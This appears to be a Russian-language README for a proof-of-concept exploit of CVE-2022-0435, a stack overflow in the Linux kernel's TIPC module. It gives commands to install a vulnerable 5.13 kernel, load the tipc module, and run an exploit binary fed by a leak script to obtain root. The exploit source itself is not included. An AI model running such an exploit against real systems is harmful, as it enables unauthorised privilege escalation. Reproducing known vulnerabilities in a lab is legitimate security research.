CVE-2022-0435-Poc

CVE-2022-0435 (переполнение стека)

wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso

mkdir kernel

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300_5.13.0-051300.202106272333_all.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-image-unsigned-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-modules-5.13.0-051300-generic_5.13.0-051300.202106272333_amd64.deb

wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb

sudo dpkg -i *.deb

перезагрузитесь и выберите 5.13.0-051300-generic

загрузите exploit.c и leak.py

sudo modprobe tipc

sudo ./exploit $(sudo python3 leak.py)

получен root